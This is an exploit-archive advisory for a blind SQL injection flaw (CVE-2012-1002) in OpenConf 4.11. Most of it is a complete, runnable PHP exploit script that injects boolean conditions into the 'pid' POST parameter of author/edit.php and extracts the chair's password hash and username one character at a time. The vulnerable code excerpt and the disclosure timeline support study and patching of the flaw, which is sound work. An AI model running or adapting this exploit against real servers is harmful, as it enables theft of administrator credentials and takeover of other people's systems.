OpenConf 4.11 Blind SQL Injection

2012.05.03
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<?php /* --------------------------------------------------------------------- OpenConf <= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit --------------------------------------------------------------------- author...............: Egidio Romano aka EgiX mail.................: n0b0d13s[at]gmail[dot]com software link........: http://www.openconf.com/ affected versions....: from 4.00 to 4.11 +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in /author/edit.php: 104. // get sub 105. $anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) ... 106. if (mysql_num_rows($anr) != 1) { 107. err(oc_('Submission ID or password entered is incorrect')); 108. } 109. $_POST = array_merge($_POST, mysql_fetch_assoc($anr)); User input passed through $_POST['pid'] seems correctly sanitised by the safeSQLstr() function, but in the query at line 105, single quotes aren't used before concatenate the user input into the query string. This can be exploited to conduct a Blind SQL Injection attack. Successful exploitation of this vulnerability requires at least a record into the 'paper' table, and 'Edit Submission' to be enabled. [-] Disclosure timeline: [27/01/2012] - Vulnerability discovered [01/02/2012] - Issue reported to bugs(at)openconf.com [02/02/2012] - Version 4.12 released: http://www.openconf.com/news/#20120202 [02/02/2012] - CVE number requested [02/02/2012] - Assigned CVE-2012-1002 [02/05/2012] - Public disclosure */ if (!extension_loaded('curl')) die("cURL extension required\n"); error_reporting(E_ERROR); set_time_limit(0); function http_get($page) { global $ch, $argv; curl_setopt($ch, CURLOPT_URL, $argv[1].$page); curl_setopt($ch, CURLOPT_GET, true); return curl_exec($ch); } function http_post($page, $data) { global $ch, $argv; curl_setopt($ch, CURLOPT_URL, $argv[1].$page); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); return curl_exec($ch); } function hex_enc($sql) { for ($i = 0, $n = strlen($sql); $i < $n; $i++) $encoded .= dechex(ord($sql[$i])); return "0x{$encoded}"; } print "\n+-------------------------------------------------------------+"; print "\n| OpenConf <= 4.11 Remote Blind SQL Injection Exploit by EgiX |"; print "\n+-------------------------------------------------------------+\n"; if ($argc < 2) { print "\nUsage......: php $argv[0] <url>\n"; print "\nExample....: php $argv[0] http://127.0.0.1/"; print "\nExample....: php $argv[0] http://localhost/openconf/\n"; die(); } $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_VERBOSE, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); if (!preg_match('/href="author\/edit.php"/', http_get('openconf.php'))) die("\n[-] Failed: submission edit disabled\n"); $index = 1; $hash = ''; $chars = array_merge(range(48, 57), range(97, 102), array(0)); // 0-9 a-f print "\n[-] Chair password hash...: "; while (!strpos($hash,chr(0))) { for ($i = 0, $n = count($chars); $i <= $n; $i++) { if ($i == $n) die("\n[-] Exploit failed!\n"); $sql = urlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_pwd").") LIMIT 1#"); if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $hash .= chr($chars[$i]); print chr($chars[$i]); break; } } $index++; } $index = 1; $user = ''; $chars = array_merge(array(0), range(97, 172), array(95), range(48, 57)); // Any "word" character print "\n[-] Chair username........: "; while (!strpos($user,chr(0))) { for ($i = 0, $n = count($chars); $i <= $n; $i++) { if ($i == $n) die("\n[-] Exploit failed!\n"); $sql = rawurlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_uname").") LIMIT 1#"); if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $user .= chr($chars[$i]); print chr($chars[$i]); break; } } $index++; } print "\n"; ?>

References:

http://www.openconf.com/


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